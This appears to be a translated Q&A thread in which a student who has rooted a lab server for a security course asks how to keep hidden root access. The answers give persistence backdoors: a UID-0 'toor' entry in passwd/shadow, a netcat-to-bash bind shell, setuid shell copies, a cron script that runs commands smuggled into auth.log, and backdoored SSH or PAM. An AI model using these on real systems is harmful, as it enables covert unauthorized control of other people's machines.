如何在 linux 上创建一个不可见且持久的用户?

信息安全 linux 渗透测试 特权升级 脏牛
2021-08-23 21:55:30

对于我的软件安全课程,我们需要入侵我们教授创建的服务器。我已经入侵了服务器,并且拥有 root 用户的密码。

现在我是 root,我想确保我可以持久访问服务器。服务器的假设所有者很容易发现我很快就接管了。

有没有办法确保在我可以创建的新“不可见”用户下以 root 权限对服务器进行持久访问。任何其他保持对服务器的一致且未被检测到的访问的方法将不胜感激。

3个回答

这取决于您所说的“隐形”是什么意思。

改变系统的行为并且不留下可检测的痕迹是不可能的。你所能做的就是让那些痕迹更难找到。在规模的极端,你可以编译一个能够隐藏自身的内核模块,它有一个回到用户空间的接口——尽管这远非微不足道。在规模的另一端,您可以将现有用户的别名添加到 /etc/passwd 和 /etc/shadow,例如

     root:x:0:0:root:/root:/bin/bash
     toor:x:0:0:root:/root:/bin/bash

     root:$1$WXYZabc4:17158:0:99999:7:::
     toor:$1$ABCxyz12:17158:0:99999:7:::

(您的目标将使用更新和详细的 crypt 实现)。这在受影响的文件中可见。

您可以使用 netcat 或 [x]inetd 将 shell 直接插入网络

 nc -l -p 8282 | bash

...虽然这很明显,并且会出现在 netstat 和 ps 中。

您可以向现有系统用户添加一个 shell 并设置一个密码,然后为了利用特权访问,您需要一个 setuid 程序。毫无疑问,您已经知道在脚本上设置 setuid 位是行不通的 - 所以也许是 su 的修改版本,它会跳过 pam 来获取您的魔法用户名。不要只是将它放在 /bin 中 - 覆盖您认为不太可能使用的现有 setuid 程序(例如 ping6)。它仍会出现在tripwire 或ossec 中。

一个有趣的方法是确定可以在不进行身份验证的情况下写入数据的地方,并以 root 身份设置 cron 作业以提取字符串并以 root 身份运行它们(以下是故意简化的):

 #!/bin/bash

 tail -100 /var/log/auth.log | \
 awk '/Failed password for gangsta/ {
       split($0, out, "gangsta|from");
       print out[1] "\n";
      }' >/tmp/myscript
 . /tmp/myscript
 rm -f /tmp/myscript

...再次,这可能会被主机 IDS 接收,并且要注意 cron 会向用户发送他们的作业输出,除非您在 cron 文件中覆盖它。

有没有办法确保在我可以创建的新“不可见”用户下以 root 权限持久访问服务器

有很多,但一个更简单的方法是,比方说,借壳的SSH二进制(未检测不到; rkhuntertripwire等将尽显东西的不妥)。或者它的任何库,例如PAM然后,您始终可以以 root 身份重新进入。

但是,如果系统得到适当的强化,您将需要一个“真正的”rootkit,达到Blue Pill级别。

这很大程度上取决于你的受害者。一个简单且可能有效的想法:如果您拥有非 root 访问权限(并且假设您不会丢失它),您可能会尝试复制一些可执行文件(例如,/bin/bash)并设置 SUID 位。当然,人们可能会寻找 root 拥有的 SUID 可执行文件,但这不应该让人一见钟情。

我想这是你的情况,因为你使用标签dirty-cow。